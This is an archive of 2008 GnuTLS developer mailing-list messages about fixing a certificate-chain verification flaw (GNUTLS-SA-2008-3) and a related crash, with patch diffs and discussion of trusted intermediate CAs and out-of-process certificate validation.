> _______________________________________________ > Gnutls-devel mailing list > Gnutls-devel at gnu.org > http://lists.gnu.org/mailman/listinfo/gnutls-devel From simon at josefsson.org Tue Nov 11 16:18:24 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 11 Nov 2008 16:18:24 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <87y6zqqp4p.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Tue, 11 Nov 2008 16:05:42 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> <87y6zqqp4p.fsf@mocca.josefsson.org> Message-ID: <87od0mqojj.fsf@mocca.josefsson.org> Simon Josefsson writes: > Tomas Mraz writes: > >> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote: >>> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz wrote: >>> > Hello, >>> > given the recent fix in the _gnutls_x509_verify_certificate I have been >>> > looking at the function. I see there are currently some limitations in >>> > it. For example it now doesn't allow verification of explicitely trusted >>> > self-signed site certificate. Is there some other method how this could >>> > be achieved? >>> You can achieve it by associating an address of a website with the >>> keyid of the given >>> certificate. This is more generic of trusting a self-signed >>> certificate. You can trust any >>> certificate first presented when accessing a website that way (ssh security). >> >> But the patch should be modified anyway because in case the server >> presents just a self-signed site certificate there will be a dereference >> of the certificate_list[-1]. >> >> It is also questionable whether the function should not also check for >> clist_size of 0 before calling _gnutls_verify_certificate2(). > > Indeed. This may explain: > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279 On reading more code, probably not, since all calls to _gnutls_x509_verify_certificate goes through gnutls_x509_crt_list_verify which does check for clist_size==0. For readability, the two functions should probably be merged into one. /Simon From tmraz at redhat.com Tue Nov 11 16:30:35 2008 From: tmraz at redhat.com (Tomas Mraz) Date: Tue, 11 Nov 2008 16:30:35 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <87od0mqojj.fsf@mocca.josefsson.org> References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> <87y6zqqp4p.fsf@mocca.josefsson.org> <87od0mqojj.fsf@mocca.josefsson.org> Message-ID: <1226417435.3447.370.camel@vespa.frost.loc> On Tue, 2008-11-11 at 16:18 +0100, Simon Josefsson wrote: > Simon Josefsson writes: > > > Tomas Mraz writes: > > > >> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote: > >>> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz wrote: > >>> > Hello, > >>> > given the recent fix in the _gnutls_x509_verify_certificate I have been > >>> > looking at the function. I see there are currently some limitations in > >>> > it. For example it now doesn't allow verification of explicitely trusted > >>> > self-signed site certificate. Is there some other method how this could > >>> > be achieved? > >>> You can achieve it by associating an address of a website with the > >>> keyid of the given > >>> certificate. This is more generic of trusting a self-signed > >>> certificate. You can trust any > >>> certificate first presented when accessing a website that way (ssh security). > >> > >> But the patch should be modified anyway because in case the server > >> presents just a self-signed site certificate there will be a dereference > >> of the certificate_list[-1]. > >> > >> It is also questionable whether the function should not also check for > >> clist_size of 0 before calling _gnutls_verify_certificate2(). > > > > Indeed. This may explain: > > > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279 > > On reading more code, probably not, since all calls to > _gnutls_x509_verify_certificate goes through gnutls_x509_crt_list_verify > which does check for clist_size==0. For readability, the two functions > should probably be merged into one. But they don't check for clist_size==1 and this causes the debian bug when self-signed site certificate is used. -- Tomas Mraz No matter how far down the wrong road you've gone, turn back. Turkish proverb From simon at josefsson.org Tue Nov 11 16:46:27 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 11 Nov 2008 16:46:27 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <87od0mqojj.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Tue, 11 Nov 2008 16:18:24 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> <87y6zqqp4p.fsf@mocca.josefsson.org> <87od0mqojj.fsf@mocca.josefsson.org> Message-ID: <87iqquqn8s.fsf@mocca.josefsson.org> Simon Josefsson writes: > Simon Josefsson writes: > >> Tomas Mraz writes: >> >>> On Mon, 2008-11-10 at 21:04 +0100, Nikos Mavrogiannopoulos wrote: >>>> On Mon, Nov 10, 2008 at 2:47 PM, Tomas Mraz wrote: >>>> > Hello, >>>> > given the recent fix in the _gnutls_x509_verify_certificate I have been >>>> > looking at the function. I see there are currently some limitations in >>>> > it. For example it now doesn't allow verification of explicitely trusted >>>> > self-signed site certificate. Is there some other method how this could >>>> > be achieved? >>>> You can achieve it by associating an address of a website with the >>>> keyid of the given >>>> certificate. This is more generic of trusting a self-signed >>>> certificate. You can trust any >>>> certificate first presented when accessing a website that way (ssh security). >>> >>> But the patch should be modified anyway because in case the server >>> presents just a self-signed site certificate there will be a dereference >>> of the certificate_list[-1]. >>> >>> It is also questionable whether the function should not also check for >>> clist_size of 0 before calling _gnutls_verify_certificate2(). >> >> Indeed. This may explain: >> >> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279 > > On reading more code, probably not, since all calls to > _gnutls_x509_verify_certificate goes through gnutls_x509_crt_list_verify > which does check for clist_size==0. For readability, the two functions > should probably be merged into one. I was mistaken, the problem is when clist_size==1, then the function decrements it and then references clist_size-1 which is bad. So the patch in v2.6.1 and in the advisory causes crashes when the chain contains just one self-signed certificate. Ouch. Thinking more about this, I suspect the entire optimization to remove the final certificate is pointless. So this patch (against v2.6.1) should also work: diff --git a/lib/x509/verify.c b/lib/x509/verify.c index 8fa90dc..92ef722 100644 --- a/lib/x509/verify.c +++ b/lib/x509/verify.c @@ -374,17 +374,6 @@ _gnutls_x509_verify_certificate (const gnutls_x509_crt_t * certificate_list, int i = 0, ret; unsigned int status = 0, output; - /* Check if the last certificate in the path is self signed. - * In that case ignore it (a certificate is trusted only if it - * leads to a trusted party by us, not the server's). - */ - if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], - certificate_list[clist_size - 1]) > 0 - && clist_size > 0) - { - clist_size--; - } - /* Verify the last certificate in the certificate path * against the trusted CA certificate list. * The self-test needs to be modified slightly to accommodate this, because now the validation returns without the GNUTLS_CERT_SIGNER_NOT_FOUND flag, which is arguable more correct (?) since the problem is actually because of failing verification. Nikos, any thoughts? Btw, I've updated cve-2008-4989.c in git, now it tests both the chain that caused incorrect validation and a self-signed chain that causes a crash. /Simon From simon at josefsson.org Tue Nov 11 16:51:45 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 11 Nov 2008 16:51:45 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: (Sam Varshavchik's message of "Mon, 10 Nov 2008 20:35:55 -0500") References: <1226324836.3447.296.camel@vespa.frost.loc> Message-ID: <87ej1iqmzy.fsf@mocca.josefsson.org> Sam Varshavchik writes: > Tomas Mraz writes: > >> self-signed site certificate. Is there some other method how this could >> be achieved? If not, then perhaps the test for the self-signed should be >> performed only when clist_size > 1. Also the test for the clist_size >> should be first test of the if(). >> >> The other limitation is that only the last certificate (after removing >> eventual self-signed cert at the end of the chain) is checked against >> the trusted list. That means you can not put just an intermediate CA >> cert into the trusted list to be able to verify the chain. >> >> What do you think of these limitations, should they be removed? > > Here's how I always thought certificate verifications should work: > > 1) The first certificate must be one of your trusted certs > > 2) Each one of the following certificates must be signed by the > previous one, ending with the peer's certificate > > It makes no sense to search the trusted list for any intermediate > certs, neither does it make sense to treat self-signed certs in any > special way. All of the root, trusted, certs are self-signed certs, > the above logic works correctly for them. RFC 3280 section 6 contains one algorithm, and I think we need good arguments to deviate from it. I believe it is useful to explicitly trust an intermediate CA certificate rather than the root CA though: consider if I purchase a CA certificate from VeriSign: on some environments, I may want to configure applications to trust my CA (whose private key I control) rather then VeriSign's. Opens up for problems with revocation of my CA certificate, but still... Generally, I don't think X.509 validation belongs in the same process as a TLS client or server -- it is complex and mistakes will happen, it is better to put all X.509 handling (including private key handling) in a separate process. /Simon From Martin.vGagern at gmx.net Tue Nov 11 17:38:59 2008 From: Martin.vGagern at gmx.net (Martin von Gagern) Date: Tue, 11 Nov 2008 17:38:59 +0100 Subject: How GNUTLS-SA-2008-3 was discovered In-Reply-To: <87zlk74y0k.fsf@mocca.josefsson.org> References: <490EF366.4020909@gmx.net> <87zlk74y0k.fsf@mocca.josefsson.org> Message-ID: <4919B523.2050901@gmx.net> Hi guys! Simon kindly asked me to share with you how I found this recent issue in the first place. For those interested, read on. Others may skip it. Simon Josefsson wrote: > Martin, btw, how did you find the problem? It can be useful for me to > to understand when talking about how GnuTLS security reporting works. I have a local server authenticated using a CAcert certificate. The server is an Apache configured to submit its whole chain, which starts at the CAcert root, includes an intermediate (class 3) certificate from CAcert and finally arrives at the server certificate. On that server I have a svn repository, which I recently tried to access using bzr. The connection failed, and the error message wasn't particularly useful, openssl s_client had no problems at all, so I started debugging the code in order to find the cause of this error. I found out that bzr tried to connect using pycurl, and that my curl library was using GnuTLS. I'm using Gentoo here, and have most allications that support GnuTLS use that. Inside the GnuTLS code I finally got to the actual cause: the class 3 certificate from CAcert was signed by the root certificate using MD5, which GnuTLS considers broken. While I stopped to wonder for a moment, I also got worried that this would affect several other servers I have set up in a similar way. Just for comparison I connected one of them using the curl command line tool, and to my surprise found out that it connected without any complaints. I couldn't fathom the reason for this, and as I had my debugging environment already set up and knew my way around the GnuTLS verification code by then, I debugged both connections. I found out that the problematic MD5-based signature was never actually verified in the cases where connection succeeded. I found the cause for this in the broken mechanics of _gnutls_x509_verify_certificate. With that knowledge, I could finally find the difference in my server configuration: I had concatenated the chain certificates in the wrong order, so that the complete list or certificates was 0: server, 1: root, 2: intermediate. Thus on my system, the signature mechanism of the intermediate certificate caused the error, while on those other systems with correct setup the root was dropped, and the signature from intermediate to server certificate was deemed valid, as it uses sha. Of course once I realized that there was no bug in GnuTLS breaking my lokal setup, but instead an intentional distrust towards MD5, and that the other setups only worked because one step wasn't verified at all, I knew I had found a serious security issue. I performed this model setup I already wrote about to make sure, and then contacted Simon. Greetings, Martin -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 260 bytes Desc: OpenPGP digital signature URL: From Martin.vGagern at gmx.net Tue Nov 11 18:09:03 2008 From: Martin.vGagern at gmx.net (Martin von Gagern) Date: Tue, 11 Nov 2008 18:09:03 +0100 Subject: More intelligent path finding Message-ID: <4919BC2F.2010300@gmx.net> Hi again. While looking at _gnutls_x509_verify_certificate I realized that I personally would have implemented this whole verification process a bit differently. I'm not a regular reader of the gnutls-devel list, but I have the feeling that some recent posts might go in the same direction. I'd have the function called with a single certificate to verify, a list of untrusted certificates to be used for the chain, and a list of trusted certificates to be used as the root. The verification process would look for the issuer of the current certificate first in the list of trusted certificates. If it finds one, verify and return result. If not, look for the issuer in the list of untrusted certificates. If it finds one, verify that next (recursively), if not we don't have enough material for a chain. This process would have two benefits. The order in which the intermediate certificates are submitted wouldn't matter any more. And you could also add some intermediate certificate to the list of trusted certificates, in order to trust a subtree of the hierarchy, and the server could still continue to submit its whole chain. E.g. a server A could submit the chain [A, B, C, D, E], with E as a self-signed root. When you only want to trust certificates from C, you would add that to your list of trusted CAs, never mind that it's not self signed, and GnuTLS would accept A after verifying two signatures, A-B and B-C. So far for my own ideas. I already included them in some private correspondence with Simon, and he mentioned that this might cause DoS issues, and that a DoS-proof setup should theoretically start at the trusted root. As an alternative, one could find the path as described above by simply looking at the distinguished names (and maybe some other elements used to distinguish certificates over time?) and verify the whole path the classical way once it's been found. So much for my suggestion. I would assume that this should be fairly easy to implement. I don't know whether I will find the time for this in the forseeable future, though, especially as I still haven't read large parts of the GnuTLS codebase. So I offer this for discussion, and leave it for you to comment, maybe even implement, or wait until I find the time and motivation. Greetings, Martin -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 260 bytes Desc: OpenPGP digital signature URL: From ametzler at downhill.at.eu.org Tue Nov 11 20:16:49 2008 From: ametzler at downhill.at.eu.org (Andreas Metzler) Date: Tue, 11 Nov 2008 20:16:49 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <87iqquqn8s.fsf@mocca.josefsson.org> References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> <87y6zqqp4p.fsf@mocca.josefsson.org> <87od0mqojj.fsf@mocca.josefsson.org> <87iqquqn8s.fsf@mocca.josefsson.org> Message-ID: <20081111191649.GB4518@downhill.g.la> On 2008-11-11 Simon Josefsson wrote: [...] > So the patch in v2.6.1 and in the advisory causes crashes when the chain > contains just one self-signed certificate. Ouch. Thinking more about > this, I suspect the entire optimization to remove the final certificate > is pointless. So this patch (against v2.6.1) should also work: > diff --git a/lib/x509/verify.c b/lib/x509/verify.c > index 8fa90dc..92ef722 100644 > --- a/lib/x509/verify.c > +++ b/lib/x509/verify.c > @@ -374,17 +374,6 @@ _gnutls_x509_verify_certificate (const gnutls_x509_crt_t * certificate_list, > int i = 0, ret; > unsigned int status = 0, output; > - /* Check if the last certificate in the path is self signed. > - * In that case ignore it (a certificate is trusted only if it > - * leads to a trusted party by us, not the server's). > - */ > - if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], > - certificate_list[clist_size - 1]) > 0 > - && clist_size > 0) > - { > - clist_size--; > - } > - > /* Verify the last certificate in the certificate path > * against the trusted CA certificate list. > * [...] Hello, So combining this one and the patch in advisory I would get: ---------------------- --- /tmp/verify.c.origal 2008-11-11 18:46:43.000000000 +0000 +++ lib/x509/verify.c 2008-11-11 18:48:08.000000000 +0000 @@ -414,17 +414,6 @@ } #endif - /* Check if the last certificate in the path is self signed. - * In that case ignore it (a certificate is trusted only if it - * leads to a trusted party by us, not the server's). - */ - if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], - certificate_list[clist_size - 1]) > 0 - && clist_size > 0) - { - clist_size--; - } - /* Verify the certificate path (chain) */ for (i = clist_size - 1; i > 0; i--) ---------------------- Applying this to 2.4.2 this does away with the crash, however it does not fix the advisory anymore. (The way to reproduce described in http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e works again. cu and- wondering when lists.gnu.org is accessible by SMTP again -reas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' From ametzler at downhill.at.eu.org Sun Nov 9 09:04:18 2008 From: ametzler at downhill.at.eu.org (Andreas Metzler) Date: Sun, 9 Nov 2008 09:04:18 +0100 Subject: Bug#503833: Unparseable PKCS cert In-Reply-To: References: <20081105201724.GF10690@colo.lackof.org> <20081106175321.GB30987@colo.lackof.org> <491345E2.7010401@gmail.com> <20081106211520.GF30987@colo.lackof.org> <491369BC.8040403@gmail.com> <87d4h7yjzi.fsf@mocca.josefsson.org> Message-ID: <20081109080418.GA3345@downhill.g.la> On 2008-11-08 Nikos Mavrogiannopoulos wrote: > On Fri, Nov 7, 2008 at 10:16 AM, Simon Josefsson wrote: >> I just realized: doesn't Nikos' patch actually do two separate things? >> 1) Add the BER stuff needed to support the PKCS#12 blob >> 2) Optimize tree generation by using the small_value field. >> It is the 2) that causes the ABI break, but 1) that is needed to solve >> to the regression. [...] > I don't think this is a question that we would like to set to > ourselves. It leads to another questions on which optimization would > be good enough or which addition is good enough to justify the break. > The real question would be whether we want the internal structures > published on the public API. I don't think we want this. It leads to > us being handicap (like we are now) to apply any optimization/addition > to the internal works of the library. Thus for me it is a good thing > to move them away as soon as we can to allow further development on > libtasn1. [...] Hello, Simon had already done this in git, the latest daily snapshots have moved the struct definition to an internal header. cu andreas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' From simon at josefsson.org Tue Nov 11 21:30:40 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 11 Nov 2008 21:30:40 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <20081111191649.GB4518@downhill.g.la> (Andreas Metzler's message of "Tue, 11 Nov 2008 20:16:49 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> <87y6zqqp4p.fsf@mocca.josefsson.org> <87od0mqojj.fsf@mocca.josefsson.org> <87iqquqn8s.fsf@mocca.josefsson.org> <20081111191649.GB4518@downhill.g.la> Message-ID: <877i7auhsf.fsf@mocca.josefsson.org> Andreas Metzler writes: > Hello, > So combining this one and the patch in advisory I would get: > ---------------------- > --- /tmp/verify.c.origal 2008-11-11 18:46:43.000000000 +0000 > +++ lib/x509/verify.c 2008-11-11 18:48:08.000000000 +0000 > @@ -414,17 +414,6 @@ > } > #endif > > - /* Check if the last certificate in the path is self signed. > - * In that case ignore it (a certificate is trusted only if it > - * leads to a trusted party by us, not the server's). > - */ > - if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], > - certificate_list[clist_size - 1]) > 0 > - && clist_size > 0) > - { > - clist_size--; > - } > - > /* Verify the certificate path (chain) > */ > for (i = clist_size - 1; i > 0; i--) > ---------------------- Yes. > Applying this to 2.4.2 this does away with the crash, however it does > not fix the advisory anymore. (The way to reproduce described in > http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e > works again. Really? I think the patch should solve both the crash and the advisory. Are you sure you used the right library? > cu and- wondering when lists.gnu.org is accessible by SMTP again -reas Mailing lists are @gnu.org, not @lists.gnu.org. I had to resend a few messages that were sent to gnutls-devel at lists.gnu.org for some reason. Or have you seen any documentation that says @lists.gnu.org can be used? /Simon From dkg at fifthhorseman.net Tue Nov 11 22:31:13 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Tue, 11 Nov 2008 16:31:13 -0500 Subject: supporting out-of-process certificate validation [was: Re: The _gnutls_x509_verify_certificate fix] In-Reply-To: <87ej1iqmzy.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Tue\, 11 Nov 2008 16\:51\:45 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> Message-ID: <87r65iuezi.fsf_-_@squeak.fifthhorseman.net> On Tue 2008-11-11 10:51:45 -0500, Simon Josefsson wrote: > Generally, I don't think X.509 validation belongs in the same > process as a TLS client or server -- it is complex and mistakes will > happen, it is better to put all X.509 handling (including private > key handling) in a separate process. This sounds like a good thing to me. Do we have a clear API or inter-process protocol for these functions? I quite like (and use daily) OpenSSH's ssh-agent model for out-of-process handling of private keys [0]. I'd love to see that used (or extended if the data types are incompatible) to be able to work with TLS connections. Then a single backend agent could be used for both SSH and TLS connections. SSH does *not* have any built-in PKI for certificate verification or hooks of this sort, though X.509 certs are supported by a set of third-party patches [1]. However, OpenPGP certificates *are* supported in external processes using native OpenSSH hooks by the monkeysphere [2]. The hooks the Monkeysphere uses weren't designed with key management in mind, though, and could probably be improved. As part of the Monkeysphere team, i'd love to see a spec for how these hooks for external certificate validation *should* look, and would be interested in implementing them. If we could frame them as extensions of the OpenSSH agent protocol, that would be additional gravy. I'd be very interested in helping to flesh out what communications primitives this kind of a spec should involve, particularly if it allows people to substitute different validation models depending on personal preference, and to share validation models across applications. If anyone else is working on such a spec, i'd love to hear about it. --dkg [0] http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.agent?rev=HEAD;content-type=text%2Fplain [1] http://www.roumenpetrov.info/openssh/ [2] http://web.monkeysphere.info/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From dkg at fifthhorseman.net Tue Nov 11 22:32:49 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Tue, 11 Nov 2008 16:32:49 -0500 Subject: trusted intermediate CAs [was: Re: The _gnutls_x509_verify_certificate fix] In-Reply-To: <87ej1iqmzy.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Tue\, 11 Nov 2008 16\:51\:45 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> Message-ID: <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> On Tue 2008-11-11 10:51:45 -0500, Simon Josefsson wrote: > RFC 3280 section 6 contains one algorithm, and I think we need good > arguments to deviate from it. > > I believe it is useful to explicitly trust an intermediate CA > certificate rather than the root CA though: consider if I purchase a > CA certificate from VeriSign: on some environments, I may want to > configure applications to trust my CA (whose private key I control) > rather then VeriSign's. I fully agree with Simon on this. There are many circumstances where you'd like your systems to be able to trust *only* a narrower CA that *you* control, while still letting external parties who trust a broader CA cleanly validate the certificate chain. Explicit trust in a CA who happens to be intermediate in a specific chain must be allowed to validate the target certificate for this to work. i think certtool(1) is problematic in that way, fwiw: -e, --verify-chain Verify a PEM encoded certificate chain. The last certificate in the chain must be a self signed one. > Opens up for problems with revocation of my CA certificate, but > still... Revocation of the cert for the intermediate CA is only meaningful if you trust the parent CA in the first place. Your intermediate CA could actually have several certificates (each from a different root CA), and one root CA should be able to revoke its certificate without affecting people who don't care about it. It does raise an interesting question of what to do if you "trust" both the intermediate CA and the root CA, and the root CA has revoked the cert that you have for the intermediate CA, though. Should the intermediate CA still be trusted in that case? The proper way to handle this kind of flexibility is with OpenPGP certificates, but we've still got work to do before that infrastructure is widely adopted. --dkg -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From simon at josefsson.org Wed Nov 12 09:27:56 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 12 Nov 2008 09:27:56 +0100 Subject: supporting out-of-process certificate validation In-Reply-To: <87r65iuezi.fsf_-_@squeak.fifthhorseman.net> (Daniel Kahn Gillmor's message of "Tue, 11 Nov 2008 16:31:13 -0500") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87r65iuezi.fsf_-_@squeak.fifthhorseman.net> Message-ID: <87hc6dtkkz.fsf@mocca.josefsson.org> Daniel Kahn Gillmor writes: > On Tue 2008-11-11 10:51:45 -0500, Simon Josefsson wrote: > >> Generally, I don't think X.509 validation belongs in the same >> process as a TLS client or server -- it is complex and mistakes will >> happen, it is better to put all X.509 handling (including private >> key handling) in a separate process. > > This sounds like a good thing to me. Do we have a clear API or > inter-process protocol for these functions? This sounds like a good idea to flesh out on our wiki, I've created a starting pointer: http://redmine.josefsson.org/wiki/gnutls/GnuTLSExternalValidation > I quite like (and use daily) OpenSSH's ssh-agent model for > out-of-process handling of private keys [0]. I'd love to see that > used (or extended if the data types are incompatible) to be able to > work with TLS connections. Then a single backend agent could be used > for both SSH and TLS connections. I like this model too. > I'd be very interested in helping to flesh out what communications > primitives this kind of a spec should involve, particularly if it > allows people to substitute different validation models depending on > personal preference, and to share validation models across > applications. > > If anyone else is working on such a spec, i'd love to hear about it. Let's start discuss it. I think we can share many ideas and even code from GnuPG 2.x, so it would be useful if people familiar with that code helped us here. (Hi Werner. :)) /Simon From simon at josefsson.org Wed Nov 12 09:29:41 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 12 Nov 2008 09:29:41 +0100 Subject: trusted intermediate CAs In-Reply-To: <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> (Daniel Kahn Gillmor's message of "Tue, 11 Nov 2008 16:32:49 -0500") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> Message-ID: <87d4h1tki2.fsf@mocca.josefsson.org> Daniel Kahn Gillmor writes: > i think certtool(1) is problematic in that way, fwiw: > > -e, --verify-chain > Verify a PEM encoded certificate chain. The last certificate in > the chain must be a self signed one. Btw, note that certtool -e does not use the same chain validation algorithm as the GnuTLS library uses -- I believe certtool -e would have rejected the faulty gnutls-sa-2008-3 chain. /Simon From wk at gnupg.org Wed Nov 12 09:59:31 2008 From: wk at gnupg.org (Werner Koch) Date: Wed, 12 Nov 2008 09:59:31 +0100 Subject: supporting out-of-process certificate validation In-Reply-To: <87hc6dtkkz.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Wed, 12 Nov 2008 09:27:56 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87r65iuezi.fsf_-_@squeak.fifthhorseman.net> <87hc6dtkkz.fsf@mocca.josefsson.org> Message-ID: <87abc5l3po.fsf@wheatstone.g10code.de> On Wed, 12 Nov 2008 09:27, simon at josefsson.org said: > I think we can share many ideas and even code from GnuPG 2.x, so it > would be useful if people familiar with that code helped us here. (Hi For a test you may use $ dirmngr-client --validate y.crt dirmngr-client: certificate is valid $ dirmngr-client --validate x.crt dirmngr-client: validation of certificate failed: Certificate expired This is a very simple tool which connects to the dirmngr and asks it to validate a certificate by using dirmngr's own validation code. It is actually a debugging fature for the validation code. Using the dirmngr daemon has the advantage that it will cache certificates and validation results and try to get missing certificates from other places. Salam-Shalom, Werner -- Die Gedanken sind frei. Auschnahme regelt ein Bundeschgesetz. From simon at josefsson.org Wed Nov 12 10:13:02 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 12 Nov 2008 10:13:02 +0100 Subject: supporting out-of-process certificate validation In-Reply-To: <87abc5l3po.fsf@wheatstone.g10code.de> (Werner Koch's message of "Wed, 12 Nov 2008 09:59:31 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <87ej1iqmzy.fsf@mocca.josefsson.org> <87r65iuezi.fsf_-_@squeak.fifthhorseman.net> <87hc6dtkkz.fsf@mocca.josefsson.org> <87abc5l3po.fsf@wheatstone.g10code.de> Message-ID: <87skpxs3xd.fsf@mocca.josefsson.org> Werner Koch writes: > On Wed, 12 Nov 2008 09:27, simon at josefsson.org said: > >> I think we can share many ideas and even code from GnuPG 2.x, so it >> would be useful if people familiar with that code helped us here. (Hi > > For a test you may use > > $ dirmngr-client --validate y.crt > dirmngr-client: certificate is valid > > $ dirmngr-client --validate x.crt > dirmngr-client: validation of certificate failed: Certificate expired > > This is a very simple tool which connects to the dirmngr and asks it to > validate a certificate by using dirmngr's own validation code. It is > actually a debugging fature for the validation code. Using the dirmngr > daemon has the advantage that it will cache certificates and validation > results and try to get missing certificates from other places. Great. However, you mentioned that it wasn't designed to protect against DoS scenarios? I think a GnuTLS validation backend needs that. I'm not sure exactly what the DoS attacks are here. The obvious one is when the attacker sends a long X.509 chain with large RSA keys that takes a long time to verify the signatures for. The solution to that problem is to verify signatures from your trusted certificates and down, not the other way around. You can still build the chain path starting with the end entity certificate though, if you don't want to alter the chain building algorithm. Are there other DoS considerations? Still, I think using the GnuPG 2.x tools for this will save us much code duplication and better overall system harmony in the end. /Simon From simon at josefsson.org Wed Nov 12 11:15:31 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 12 Nov 2008 11:15:31 +0100 Subject: Bug#505279: libgnutls26: segfault in _gnutls_x509_crt_get_raw_dn2 In-Reply-To: <20081112100138.GA15126@feivel.credativ.de> (Michael Meskes's message of "Wed, 12 Nov 2008 11:01:38 +0100") References: <20081111114007.20961.91566.reportbug@feivel.credativ.de> <87prl2s7l8.fsf@mocca.josefsson.org> <20081111152524.GA15851@feivel.credativ.de> <878wrqqmsy.fsf@mocca.josefsson.org> <20081112100138.GA15126@feivel.credativ.de> Message-ID: <87ej1hs118.fsf@mocca.josefsson.org> Michael Meskes writes: > On Tue, Nov 11, 2008 at 04:55:57PM +0100, Simon Josefsson wrote: >> I think we have identified the problem, see: >> >> http://thread.gmane.org/gmane.comp.encryption.gpg.gnutls.devel/3216/focus=3230 >> >> That patch at least solves the vulnerability and the crash, so possibly >> it could be uploaded to debian to avoid further troubles until we have >> released a 2.6.2 with a good fix. > > You mean just removing this code snippet instead of moving it? > > /* Check if the last certificate in the path is self signed. > * In that case ignore it (a certificate is trusted only if it > * leads to a trusted party by us, not the server's). > */ > if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], > certificate_list[clist_size - 1]) > 0 > && clist_size > 0) > { > clist_size--; > } Yes. > Yes, this works. However, I wonder whether this code has any use. Getting Nikos' comment on this would be useful. I guess we have two choices: 1) Remove the code. Fixes both crash and vulnerability. 2) Change the test to clist_size>1. Fixes both crash and vulnerability. > If so, wouldn't it help to just use "clist_size > 1" instead of > "clist_size > 0"? The > 0 test is bogus if you access clist_size - 1 > afterwards, but with the > 1 test it works for me as well, i.e. no > segfault anymore. Yes, that version of the patch works too. I'm not sure what the semantic differences are between the two patches. /Simon From simon at josefsson.org Wed Nov 12 11:16:08 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 12 Nov 2008 11:16:08 +0100 Subject: The _gnutls_x509_verify_certificate fix In-Reply-To: <877i7auhsf.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Tue, 11 Nov 2008 21:30:40 +0100") References: <1226324836.3447.296.camel@vespa.frost.loc> <1226398248.3447.353.camel@vespa.frost.loc> <87y6zqqp4p.fsf@mocca.josefsson.org> <87od0mqojj.fsf@mocca.josefsson.org> <87iqquqn8s.fsf@mocca.josefsson.org> <20081111191649.GB4518@downhill.g.la> <877i7auhsf.fsf@mocca.josefsson.org> Message-ID: <87d4h1s107.fsf@mocca.josefsson.org> Simon Josefsson writes: >> Applying this to 2.4.2 this does away with the crash, however it does >> not fix the advisory anymore. (The way to reproduce described in >> http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e >> works again. > > Really? I think the patch should solve both the crash and the > advisory. Are you sure you used the right library? I've tested the patch and it appears to fix both the crash and the vulnerability. Please test it again. I've prepared a daily build of v2.6.2 containing that fix: http://daily.josefsson.org/gnutls-2.6/gnutls-2.6-20081112.tar.gz /Simon From 